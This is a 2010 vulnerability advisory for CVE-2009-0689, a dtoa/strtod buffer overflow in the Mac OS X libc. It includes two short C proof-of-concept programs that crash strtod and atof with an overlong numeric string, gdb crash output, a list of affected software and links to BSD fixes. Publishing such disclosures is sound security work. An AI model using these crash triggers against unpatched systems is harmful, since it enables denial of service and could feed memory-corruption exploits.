[ MacOS X 10.5/10.6 libc/strtod(3) buffer overflow ] Author: Maksymilian Arciemowicz Date: - - Dis.: 07.05.2009 - - Pub.: 08.01.2010 CVE: CVE-2009-0689 CWE: CWE-119 Risk: High Remote: Yes Affected Software: - - MacOS 10.6 NOTE: Prior versions may also be affected. - --- 0.Description --- Mac OS is the trademarked name for a series of graphical user interface-based operating systems developed by Apple Inc. (formerly Apple Computer, Inc.) for their Macintosh line of computer systems. The Macintosh user experience is credited with popularizing the graphical user interface. The original form of what Apple would later name the "Mac OS" was the integral and unnamed system software first introduced in 1984 with the original Macintosh, usually referred to simply as the System software. - --- 1. MacOS X 10.5/10.6 libc/strtod(3) buffer overflow --- The main problem exist in dtoa implementation. MacOS X has the same dtoa as OpenBSD, NetBSD etc. This problem affects not only libc/gdtoa. Affected is also strtod(3) function. For more information, please see http://cxsecurity.com/issue/WLB-2009060067 but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, http://cxsecurity.com/issue/WLB-2009100155 We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array. It is true that the examples presented in the previous notes, using the printf (1) do not work under MacOS X. This does not mean the MacOSX C library is safe. More: http://cwe.mitre.org/data/definitions/119.html - --- 2. Proof of Concept (PoC) --- - --- 2.1. strtod(3) buffer overflow example PoC --- #include <stdio.h> #include <stdlib.h> int main () { char number[] = "0.1111111111...11", *e; double weed = strtod(number, &e); printf("grams = %lf\n", weed); return 0; } (gdb) r Starting program: /Volumes/ARC/299 Reading symbols for shared libraries ++. done Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0x0039f000 0x002271ac in __diff_D2A () (gdb) i r eax 0xc71c71c7 -954437177 ecx 0xacb44 707396 edx 0x0 0 ebx 0x2c2e4f 2895439 esp 0xbffb65d0 0xbffb65d0 ebp 0xbffb6618 0xbffb6618 esi 0x39f000 3796992 edi 0x0 0 eip 0x2271ac 0x2271ac <__diff_D2A+246> eflags 0x10246 66118 cs 0x17 23 ss 0x1f 31 ds 0x1f 31 es 0x1f 31 fs 0x0 0 gs 0x37 55 edi=0x0 eax=0xc71c71c7 eip=0x002271ac (gdb) x/i 0x002271ac 0x2271ac <__diff_D2A+246>: mov %eax,(%esi) - --- 2.2. atof(3) buffer overflow example PoC --- #include <stdio.h> #include <stdlib.h> int main() { char s[]="111.111111...11"; float a=atof(s); printf("%f",a); } x$ ls -la m0.c - -rwxrwxrwx@ 1 x staff 317507 Jan 3 14:23 m0.c x$ gcc -o m0 m0.c x$ ./m0 Bus error Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0x0039f000 0x00227017 in __lshift_D2A () (gdb) x/i 0x00227017 0x227017 <__lshift_D2A+68>: movl $0x0,(%edx) (gdb) i r eax 0x16bc 5820 ecx 0x80b6 32950 edx 0x39f000 3796992 ebx 0x2c2e4f 2895439 esp 0xbffb2070 0xbffb2070 ebp 0xbffb20b8 0xbffb20b8 esi 0x26bd 9917 edi 0x80b7 32951 eip 0x227017 0x227017 <__lshift_D2A+68> eflags 0x10203 66051 cs 0x17 23 ss 0x1f 31 ds 0x1f 31 es 0x1f 31 fs 0x0 0 gs 0x37 55 (gdb) bt #0 0x00227017 in __lshift_D2A () #1 0x002c3b74 in strtod_l$UNIX2003 () #2 0x00275ba7 in atof () #3 0x000017eb in main () - --- 3. Affected --- - - OpenBSD - - NetBSD - - FreeBSD - - MacOSX - - Google Chrome - - Mozilla Firefox - - Mozilla Seamonkey - - Mozilla Thunderbird - - Mozilla Sunbird - - Mozilla Camino - - KDE (example: konqueror) - - Opera - - K-Meleon - - F-Lock - - MatLab - - J This list is not yet closed. FreeBSD project has fixed this issue (state 2010-01-05) only in MAIN RELENG_8_0_BP RELENG_8_0_0_RELEASE RELENG_8_0 RELENG_7 RELENG_6 Please note that the issue can also exist in Sony PlayStation 3. The license of PS3 : http://www.scei.co.jp/ps3-license/see.html - --- The separate 'dtoa.c' file is separately licenced, thus: Copyright. 1991, 2000 by Lucent Technologies. - --- MacOS gdtoa have also "Lucent Technologies" license from year 2000. - --- 4. Fix --- NetBSD fix (optimal): http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c - --- 5. Credits --- Discovered by Maksymilian Arciemowicz and sp3x - --- 6. Greets --- Infospec p_e_a pi3